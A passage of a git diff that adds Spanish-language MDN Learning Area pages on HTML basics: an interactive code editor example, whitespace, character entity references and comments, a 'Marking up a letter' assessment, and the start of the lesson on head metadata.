+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px;width: 95%"&gt;
+  &amp;lt;p&amp;gt;Esta es mi página&amp;lt;/p&amp;gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h1 {
+ color: blue;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+img {
+  max-width: 100%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;h1&gt;Un poco de música&lt;/h1&gt;&lt;p&gt;Realmente disfruto &lt;strong&gt;tocar la batería&lt;/strong&gt;. Uno de mis bateristas favoritos es Neal Peart, que toca en la banda &lt;a href="https://en.wikipedia.org/wiki/Rush_%28band%29" title="artículo de Wikipedia de"&gt;Rush&lt;/a&gt;.\ Mi álbum favorito de Rush actualmente es &lt;a href="http://www.deezer.com/album/942295"&gt;Fotografías de la película&lt;/a&gt;.&lt;/p&gt;\ &lt;img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg"&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible_3', 700, 600, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Los_espacios_en_blanco_en_HTML">Los espacios en blanco en HTML</h3>
+
+<p>En los ejemplos anteriores se han incluido espacios en blanco y saltos de línea en el código. Esto realmente no es necesario. Los dos siguientes fragmentos de código son equivalentes:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Los perros son tontos.&lt;/p&gt;
+
+&lt;p&gt;Los    perros        son
+         tontos.&lt;/p&gt;</pre>
+
+<p>No importa cuántos espacios en blanco se utilicen (incluye tanto caracteres de espacio como saltos de línea) el intérprete de HTML reduce cada secuencia de espacio en blanco a un único espacio al interpretar el código. Entonces, ¿por qué utilizar espacios en blanco? La respuesta está en la legibilidad.<br>
+ <br>
+ Es más fácil comprender lo que está sucediendo en tu código si lo tienes bien formateado. En nuestro HTML cada elemento anidado está sangrado dos espacios más con respecto al exterior. Depende de ti qué estilo de formato utilizas (cuántos espacios para cada nivel de sangría, por ejemplo) pero debes plantearte el uso de algún tipo de formato.</p>
+
+<h2 id="Referencias_a_entidades_Inclusión_de_caracteres_especiales_en_HTML">Referencias a entidades: Inclusión de caracteres especiales en HTML</h2>
+
+<p>En HTML, los caracteres <code>&lt;</code>, <code>&gt;</code>,<code>"</code>,<code>'</code> y <code>&amp;</code> son caracteres especiales. Forman parte de la sintaxis HTML. Entonces, ¿cómo incluye uno de estos caracteres especiales en tu texto? Por ejemplo, si deseas utilizar un signo comercial o menor que, y no hacer que se interprete como código.</p>
+
+<p>Haces esto con referencias de caracteres. Estos son códigos especiales que representan caracteres, para ser usados en estas circunstancias exactas. Cada referencia de caracter comienza con un signo de ampersand (&amp;) y finaliza con un punto y coma (;).</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caracter literal</th>
+   <th scope="col">Equivalente de referencia de caracteres</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>&lt;</td>
+   <td>&amp;lt;</td>
+  </tr>
+  <tr>
+   <td>&gt;</td>
+   <td>&amp;gt;</td>
+  </tr>
+  <tr>
+   <td>"</td>
+   <td>&amp;quot;</td>
+  </tr>
+  <tr>
+   <td>'</td>
+   <td>&amp;apos;</td>
+  </tr>
+  <tr>
+   <td>&amp;</td>
+   <td>&amp;amp;</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>El equivalente de referencia de caracter podría recordarse fácilmente porque el texto que utiliza se puede ver como menor que para '&amp;lt;' , cita para ' &amp;quot; ' y de manera similar para otros. Para obtener más información sobre la referencia de entidad, consulta {{interwiki("wikipedia", "Anexo:Referencias a entidades de caracteres XML y HTML")}} en (Wikipedia).<br>
+ <br>
+ Considera los dos siguientes párrafos:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;En HTML, defines un párrafo con el elemento &lt;p&gt;.&lt;/p&gt;
+
+&lt;p&gt;En HTML, defines un párrafo con el elemento &amp;lt;p&amp;gt;.&lt;/p&gt;</pre>
+
+<p>En la salida en vivo de abajo, puedes ver que el primer párrafo salió mal. El navegador interpreta la segunda instancia de <code>&lt;p&gt;</code> como el inicio de un nuevo párrafo. El segundo párrafo se ve bien porque hemos remplazado <code>&lt;</code> y <code>&gt;</code> por sus referencias correspondientes.</p>
+
+<p>{{ EmbedLiveSample('Referencias_a_entidades_Inclusión_de_caracteres_especiales_en_HTML', 700, 200) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: En la Wikipedia se puede localizar un listado de todas las referencias de entidades de caracteres HTML disponibles: {{interwiki("wikipedia", "Anexo:Referencias a entidades de caracteres XML y HTML")}}. Observa que no necesitas usar ninguna referencia de entidad más para ningún otro de estos símbolos porque los navegadores modernos gestionan estos símbolos correctamente siempre y cuando en tu HTML hayas {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "establecido la codificación de el juego de caracteres universal UTF-8", "#Specifying_your_document's_character_encoding")}}.</p>
+</div>
+
+<h2 id="Comentarios_HTML">Comentarios HTML</h2>
+
+<p>En HTML hay un mecanismo para escribir comentarios en el código. Los comentarios son ignorados por el navegador y, por tanto, son invisibles para el usuario. El propósito de los comentarios es permitirte incluir notas en el código para explicar tu lógica o codificación. Esto es muy útil si regresas a un código base después de estar ausente el tiempo suficiente como para no recordarlo por completo. Del mismo modo, los comentarios son invaluables ya que diferentes personas están realizando cambios y actualizaciones.</p>
+
+<p>Para convertir en un comentario una sección de contenido de tu archivo HTML, debes delimitarlo con los marcadores especiales <code>&lt;!--</code> y <code>--&gt;</code>. Por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;No soy un comentario&lt;/p&gt;
+
+&lt;!-- &lt;p&gt;¡Yo sí!&lt;/p&gt; --&gt;</pre>
+
+<p>Como puedes ver a continuación, el primer párrafo aparece, pero el segundo no.</p>
+
+<p>{{ EmbedLiveSample('Comentarios_HTML', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Has llegado al final del artículo. Espero que hayas disfrutado del recorrido los conceptos básicos del HTML.<br>
+ En este punto ya deberías entender el lenguaje, cómo funciona en un nivel básico y deberías poder escribir algunos elementos y atributos. También deberías poder escribir algunos elementos y atributos. Los artículos posteriores de este módulo profundizan en algunos de los temas aquí presentados, además de presentar otros conceptos del lenguaje.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: En este punto, a medida que empieces a aprender más sobre HTML, es posible que también desees comenzar a explorar los conceptos básicos de las Hojas de estilo en cascada (<em>Cascading style sheets</em>) o {{web.link("/es/docs/Learn/CSS", "CSS")}}. CSS, es el lenguaje utilizado para estilizar páginas web. (por ejemplo, cambiar fuentes o colores, o alterar el diseño de la página) HTML y CSS funcionan bien juntos, como pronto descubrirás.</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Web/HTML/Applying_color", "Aplicación de color a elementos HTML mediante CSS")}}</li>
+</ul>
+
+<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<div></div>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Empezar con HTML</a></li>
+ <li><a href="/es/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">¿Qué hay en la cabecera? Metadatos en HTML</a></li>
+ <li><a href="/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fundamentos de texto HTML</a></li>
+ <li><a href="/es/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creando hipervínculos</a></li>
+ <li><a href="/es/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formateo de texto avanzado</a></li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Estructura web y documentación")}}</li>
+ <li><a href="/es/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Depurar HTML</a></li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Marcando para una carta")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Estructuración del contenido de una página")}}</li>
+</ul>
diff --git a/files/es/learn/html/introduccion_a_html/marking_up_a_letter/index.html b/files/es/learn/html/introduccion_a_html/marking_up_a_letter/index.html
new file mode 100644
index 0000000000..e53bb01826
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/marking_up_a_letter/index.html
@@ -0,0 +1,88 @@
+---
+title: Marcando una Carta
+slug: Learn/HTML/Introduccion_a_HTML/Marking_up_a_letter
+tags:
+  - Cabecera
+  - Codificación
+  - Enlaces
+  - Evaluación
+  - Principiante
+  - Texto
+translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">Todos aprendemos a escribir una carta más tarde o más temprano; es también práctico practicar con nuestras habilidades para dar forma a los textos. En esta prueba deberás demostrar tus habilidades para dar forma a textos, incluyendo enlaces, además pondremos a prueba tu familiaridad con algunos contenidos de encabezamiento <code>&lt;head&gt;</code> en HTML.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Antes de intentar este examen deberías haber trabajado los artículos <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What's in the head? Metadata in HTML</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a>, y <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivos:</th>
+   <td>Probar las habilidades básicas y avanzadas de formateo de texto e hyperlinks, y el conocimiento de los encabezamientos en HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_partida">Punto de partida</h2>
+
+<p>Para comenzar esta prueba, deberemos copiar <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/letter-text.txt">el texto que deberemos trabajar</a>, y el <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/marking-up-a-letter-start/css.txt">CSS que necesitaremos incluir</a> en nuestro HTML. Crearemos un archivo nuevo <code>.html</code> usando nuestro editor de texto (o alternativamente usaremos otros como <a class="external external-icon" href="http://jsbin.com/">JSBin</a> o <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> para hacer nuestra prueba).</p>
+
+<h2 id="Resumen_del_proyecto_a_desarrollar">Resumen del proyecto a desarrollar</h2>
+
+<p>En este proyecto tu tarea será publicar una carta que debe estar alojada en la intranet de una universidad. La carta es la respuesta de un compañero investigador a un posible estudiante de postgrado en relación a su deseo de trabajar en la universidad.</p>
+
+<p>Semánticas de bloque/estructurales:</p>
+
+<ul>
+ <li>Estructura el documento completo incluyendo los elementos (doctype), {{htmlelement("html")}}, {{htmlelement("head")}} y {{htmlelement("body")}}.</li>
+ <li>Incluye los elementos correspondientes de marcado en la carta tales como párrafos y títulos, a excepción de los siguientes. Hay un título principal (la línea que comienza por "Re:") y tres títulos secundarios.</li>
+ <li>Las fechas de comienzo de los semestres, las materias y los bailes exóticos deben ser marcados con los correspondientes tipos de lista.</li>
+ <li>Colocar las dos direcciones dentro de elementos {{htmlelement("address")}}. Cada línea de la dirección debe comenzar en una línea nueva, pero no en un párrafo nuevo.</li>
+</ul>
+
+<p>Semánticas intralínea:</p>
+
+<ul>
+ <li>Los nombres de remitente y destinatario (también "Tel" e "Email") deben ser marcado con importancia (strong).</li>
+ <li>Deberás usar los elementos apropiados en las cuatro fechas contenidas en el documento para que puedan ser leidas por los motores de lectura automática.</li>
+ <li>La primera dirección y la primera fecha en la carta deben ser asignadas a un atributo de clase llamado "sender-column"; el código CSS lo añadirás posteriormente para que quede bien alineado, como debe ser en un formato de carta clásico.</li>
+ <li>Deberás utilizar el elemento apropiado para los cinco acrónimos/abreviaciones contenidos en el texto principal, proporcionándoles las extensiones correspondientes.</li>
+ <li>Marca apropiadamente los seis sub/superíndices.</li>
+ <li>Los símbolos de los grados, los mayor que y los símbolos de multiplicar deben ser marcados usando las referencias correctas.</li>
+ <li>Marca al menos dos palabras en el texto con fuerte importancia/énfasis.</li>
+ <li>Hay dos lugares donde deberíamos añadir hyperlinks; añádelos con títulos. Como sitio donde apuntan simplemente usa: http://example.com.</li>
+ <li>Marca con el elemento apropiado el lema de la universidad y la cita del autor.</li>
+</ul>
+
+<p>El encabezamiento del documento:</p>
+
+<ul>
+ <li>El juego de caracteres del documento deberá ser utf-8 usando una etiqueta meta adecuada.</li>
+ <li>El autor de la carta debe estar especificado con la etiqueta meta correspondiente.</li>
+ <li>El CSS proporcionado deberá estar incluido dentro de la etiqueta adecuada.</li>
+</ul>
+
+<h2 id="Pistas_y_recomendaciones">Pistas y recomendaciones</h2>
+
+<ul>
+ <li>Utiliza el <a href="https://validator.w3.org/">Validador de HTML W3C HTML</a> para validar tu HTML; recibirás puntos de bonificación si se valida.</li>
+ <li>No necesitas conocer CSS para hacer este ejercicio; solo debes poner el CSS proporcionado en el elemento HTML adecuado.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<p>The following screenshot shows an example of what the letter might look like after being marked up.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12291/letter-screengrab.png" style="border: 1px solid black; display: block; margin: 0px auto;"></p>
+
+<h2 id="Evaluación">Evaluación</h2>
+
+<p>Si estás haciendo esta prueba como parte de un curso organizado, deberías entregar tu trabajo al profesor para que lo corrija. Si estás auto-aprendiendo puedes conseguir la guía de corrección fácilmente pidiendola en el <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Hilo del area de aprendizaje</a>, o en el canal IRC de <a href="irc://irc.mozilla.org/mdn">#mdn</a> en <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Intenta hacerlo primero — no ganarás nada haciendo trampas.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</p>
diff --git a/files/es/learn/html/introduccion_a_html/metados_en/index.html b/files/es/learn/html/introduccion_a_html/metados_en/index.html
new file mode 100644
index 0000000000..6fc5f94ab0
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/metados_en/index.html
@@ -0,0 +1,299 @@
+---
+title: ¿Qué hay en la cabecera? Metadatos en HTML
+slug: Learn/HTML/Introduccion_a_HTML/Metados_en
+tags:
+  - Cabecera
+  - CodingScripting
+  - Guía
+  - HTML
+  - Meta
+  - Metadatos
+  - Novato
+  - Principiante
+  - favicon
+  - head
+  - lang
+  - metadata
+translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">El elemento {{Glossary("Head", "head")}} de un documento HTML es la parte que no se muestra en el navegador cuando se carga la página. Contiene información como el título ({{htmlelement("title")}}) de la página, enlaces al {{Glossary("CSS")}} (si quieres aplicar estilo a tu contenido HTML con CSS), enlaces para personalizar <code>favicon</code>, y otros metadatos (datos sobre el HTML, como quién lo escribió y palabras claves importantes que describen el documento). En este artículo abarcaremos todo esto y más, para darte bases sólidas en el manejo del marcado y otro código que debería estar presente en tu cabecera.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Estar familiarizado con el HTML básico, que se expone en {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con el HTML")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender acerca de la cabecera HTML {{Glossary("Head", "head")}}, cuál es su propósito, los elementos más importantes que puede contener, y qué efecto puede tener sobre el documento HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_hay_en_la_cabecera_HTML">¿Qué hay en la cabecera HTML?</h2>
+
+<p>Vamos a revisar el {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document", "documento HTML que se revisó en el artículo anterior")}}:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Mi página de prueba&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Esta es mi página&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>La cabecera HTML es el contenido del elemento {{htmlelement("head")}} — a diferencia del contenido del elemento {{htmlelement("body")}} (que sí se muestra en la página cuando se carga en el navegador), el contenido de la cabecera no se muestra en la página. Por el contrario, la función de la cabecera es contener los {{Glossary("Metadata", "metadatos")}} del documento. En el ejemplo anterior, la cabecera es bastante reducida:</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Mi página de prueba&lt;/title&gt;
+&lt;/head&gt; </pre>
+
+<p>En páginas más grandes, sin embargo, la cabecera puede llegar a contener bastantes elementos. Prueba a ir a algunos de tus sitios web favoritos y comprueba el contenido de la cabecera usando las {{web.link("/es/docs/Learn/Common_questions/What_are_browser_developer_tools", "herramientas para el desarrollador")}}. Nuestro objetivo aquí no es mostrarte cómo usar todo lo que puedes incluir en la cabecera, sino enseñarte cómo usar los elementos principales que vas a incluir en la cabecera y que te familiarices con ellos. Empecemos.</p>
+
+<h2 id="Añadir_un_título">Añadir un título</h2>
+
+<p>Ya hemos visto el elemento {{htmlelement("title")}} en acción — se puede usar para poner un título al documento. Sin embargo, esto se puede confundir con el elemento {{htmlelement("h1")}}, que se utiliza para poner un encabezado de nivel superior al cuerpo de tu contenido — esto también se conoce como el título de la página. ¡Pero son cosas diferentes!</p>
+
+<ul>
+ <li>El elemento {{htmlelement("h1")}} aparece en la página cuando se carga en el navegador — en general debería haber uno solo por página, para especificar el título del contenido de tu página (el título de tu historia, el título de la noticia, o de lo que sea apropiado según el uso que le des).</li>
+ <li>El elemento {{htmlelement("title")}} es un metadato que representa el título de todo el documento HTML (no del contenido del documento).</li>
+</ul>
+
+<h3 id="Aprendizaje_activo_Análisis_de_un_ejemplo_sencillo">Aprendizaje activo: Análisis de un ejemplo sencillo</h3>
+
+<ol>
+ <li>Para comenzar este aprendizaje activo, te proponemos ir a nuestro repositorio de GitHub y descargues una copia de nuestra página <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html</a>. Lo puedes hacer de las siguientes maneras:
+
+  <ol>
+   <li>Copia y pega el código de la página en un archivo de texto nuevo en tu editor de código, luego guárdalo en un lugar conveniente.</li>
+   <li>Presiona el botón "Raw" en la página de GitHub, lo cual hace que aparezca el código sin procesar (posiblemente en una nueva pestaña del navegador). A continuación, en el menú de tu navegador elige <em>Archivo → Guardar página como...</em> y selecciona un lugar adecuado para guardar el archivo.</li>
+  </ol>
+ </li>
+ <li>Ahora abre el archivo en tu navegador. Deberías ver algo como esto:
+  <p><img alt="Una sencilla página web con el título configurado a &lt;title> element, y el &lt;h1> configurado a &lt;h1> element." src="https://mdn.mozillademos.org/files/12323/title-example.png" style="display: block; margin: 0 auto;">Ahora debería quedar claro dónde aparece el contenido de <code>&lt;h1&gt;</code> y dónde aparece el contenido de <code>&lt;title&gt;</code>.</p>
+ </li>
+ <li>También podrías probar a abrir el código en tu editor de código, editar el contenido de estos elementos y luego actualizar la página en tu navegador. Juega un poco con ello.</li>
+</ol>
+
+<p>El contenido del elemento <code>&lt;title&gt;</code> también se usa de otras formas. Por ejemplo, si intentas marcar la página como favorita (<strong>Marcadores → Marcar esta página</strong>, o el icono en forma de estrella de Firefox), verás que el nombre que se sugiere para el marcado es el contenido del elemento <code>&lt;title&gt;</code>.</p>
+
+<p><img alt="Se está marcando una página web en Firefox; el nombre del marcador se ha completado automáticamente con el contenido del elemento &lt;title>" src="https://mdn.mozillademos.org/files/12337/bookmark-example.png" style="display: block; margin: 0 auto;"></p>
+
+<p>El contenido de <code>&lt;title&gt;</code> también se usa en el resultado de las búsquedas, como verás a continuación.</p>
+
+<h2 id="Metadatos_el_elemento_&lt;meta>">Metadatos: el elemento &lt;meta&gt;</h2>
+
+<p>Los metadatos son datos que describen datos, y HTML tiene una forma «oficial» de introducir metadatos en un documento — el elemento {{htmlelement("meta")}}. Por supuesto, el resto de los elementos de los que hablaremos en este artículo también se podrían considerar metadatos. Hay muchos diferentes tipos de elementos <code>&lt;meta&gt;</code> que se pueden incluir en el &lt;head&gt; de tu página, pero no vamos a intentar explicarlos todos en esta etapa porque resultaría demasiado confuso. En lugar de ello vamos a explicar algunas cuestiones con las que seguramente te vas a encontrar, solo para que te hagas una idea.</p>
+
+<h3 id="La_codificación_de_caracteres_de_tu_documento">La codificación de caracteres de tu documento</h3>
+
+<p>El ejemplo que vimos arriba incluía esta línea:</p>
+
+<pre class="brush: html notranslate">&lt;meta charset="utf-8"&gt;</pre>
+
+<p>Este elemento simplemente especifica la codificación de caracteres del documento — es decir, el conjunto de caracteres que el documento puede usar. <code>utf-8</code> es un conjunto de caracteres universal que incluye casi todos los caracteres de casi cualquier idioma humano. Esto significa que tu página web podrá gestionar la visualización de cualquier idioma; por lo tanto, resulta una buena idea configurarlo en cada página web que crees. Por ejemplo, tu página podría gestionar inglés y japonés sin problemas:</p>
+
+<p><img alt="Una página web que contiene caracteres en inglés y japonés, con la codificación de caracteres establecida en universal o utf-8. Ambos idiomas se muestran bien." src=" https://mdn.mozillademos.org/files/12343/correct-encoding.png" style="display: block; margin: 0 auto;">Si configuras tu codificación de caracteres en <code>ISO-8859-1</code>, por ejemplo (el juego de caracteres para el alfabeto latino), la representación de tu página puede aparecer desordenada:</p>
+
+<p><img alt="una página web que contiene caracteres en inglés y japonés, con la codificación de caracteres configurada en latín. Los caracteres japoneses no se muestran correctamente" src="https://mdn.mozillademos.org/files/12341/bad-encoding.png" style="display: block; height: 365px; margin: 0px auto; width: 604px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Algunos navegadores (Chrome, por ejemplo) automáticamente arreglan la codificación de caracteres incorrecta, de modo que según el navegador que uses, puede que no te topes con este problema. Aun así, deberías incluir una codificación de caracteres <code>utf-8</code> en tu página web para evitar que se presenten potenciales problemas con otros navegadores.</p>
+</div>
+
+<h3 id="Aprendizaje_activo_Experimenta_con_la_codificación_de_caracteres">Aprendizaje activo: Experimenta con la codificación de caracteres</h3>
+
+<p>Para probar esto, vuelve a visitar la plantilla HTML simple que obtuviste en la sección anterior sobre <code>&lt;title&gt;</code> (la página <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html</a>) e intenta cambiar el valor de la propiedad <code>meta charset</code> por <code>ISO-8859-1</code> y añade el japonés a tu página. Este es el código que usamos:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Ejemplo en japonés: ご飯が熱い。&lt;/p&gt;</pre>
+
+<h3 id="Añadir_un_autor_y_descripción">Añadir un autor y descripción</h3>
+
+<p>Muchos elementos <code>&lt;meta&gt;</code> incluyen atributos <code>name</code> y <code>content</code>:</p>
+
+<ul>
+ <li><code>name</code> especifica el tipo de metadato del que se trata; es decir, qué tipo de información contiene.</li>
+ <li><code>content</code> especifica el contenido del metadato en sí.</li>
+</ul>
+
+<p>Dos de esos metadatos que resultan útiles de incluir en tu página definen al autor de la página y proporcionan una descripción concisa de la página. Veamos un ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;meta name="author" content="Chris Mills"&gt;
+&lt;meta name="description" content="El área de aprendizaje de MDN pretende
+proporcionar a los recién llegados a la web todo lo que deben
+saber para empezar a desarrollar páginas web y aplicaciones web."&gt;</pre>
+
+<p>Especificar un autor resulta ventajoso por diversos motivos: es útil saber quién escribió la página para poder ponerte en contacto con el autor si tienes preguntas sobre el contenido. Algunos sistemas de gestión de contenido tienen herramientas para extraer automáticamente la información del autor de la página y ponerla a disposición para tales fines.</p>
+
+<p>Especificar una descripción que incluya palabras clave relacionadas con el contenido de tu página resulta útil porque tiene el potencial de hacer que la página aparezca más arriba en las búsquedas relevantes que efectúan los motores de búsqueda (tales actividades se denominan optimizaciones del motor de búsqueda ({{web.link("/es/docs/Glossary/SEO", "Optimización de motores de búsqueda")}}) o {{Glossary("SEO")}}.)</p>
+
+<h3 id="Aprendizaje_activo_El_uso_de_la_descripción_en_los_motores_de_búsqueda">Aprendizaje activo: El uso de la descripción en los motores de búsqueda</h3>
+
+<p>La descripción también se usa en las páginas de resultados del motor de búsqueda. Repasemos un ejercicio para explorar esto:</p>
+
+<ol>
+ <li>Ve a la página de inicio de <a href="https://developer.mozilla.org/es/">Mozilla Developer Network</a>.</li>
+ <li>Observa el código fuente de la página (<kbd>Ctrl</kbd>+clic o clic con el botón derecho en la página y selecciona la opción del menú <strong>Ver código fuente de la página</strong>).</li>
+ <li>Encuentra la etiqueta del metadato <strong>description</strong>. Se verá más o menos así (aunque puede cambiar con el tiempo):
+  <pre class="brush: html notranslate">&lt;meta name="description" content="The Mozilla Developer
+  Network (MDN) proporciona información sobre tecnologías
+  de código abierto que incluyen HTML, CSS y APIs tanto para sitios web como para aplicaciones HTML5.
+  También documenta productos Mozilla como el sistema operativo Firefox."&gt;</pre>
+ </li>
+ <li>Ahora busca "Mozilla Developer Network" en tu motor de búsqueda favorito (nosotros hemos utilizado Google). Observarás que efectivamente merece la pena que tener el contenido de la descripción <code>&lt;meta&gt;</code> y el elemento <code>&lt;title&gt;</code> que se utiliza en la búsqueda.
+  <p><img alt='Resultado de búsqueda en Yahoo para "Mozilla Developer Network"' src="https://mdn.mozillademos.org/files/16074/mdn-search-result.png" style="border-style: solid; border-width: 1px; display: block; height: 982px; margin: 0px auto; width: 1302px;"></p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: En Google verás algunas subpáginas relevantes de MDN enumeradas debajo del enlace principal a la página principal de MDN (se trata de los llamados <strong>sitelinks</strong> y se pueden configurar con las <a href="http://www.google.com/webmasters/tools/">Herramientas de administrador de Google</a>), una forma de mejorar los resultados para tu sitio con el motor de búsqueda de Google.</p>
+</div>
+
+<div class="note">
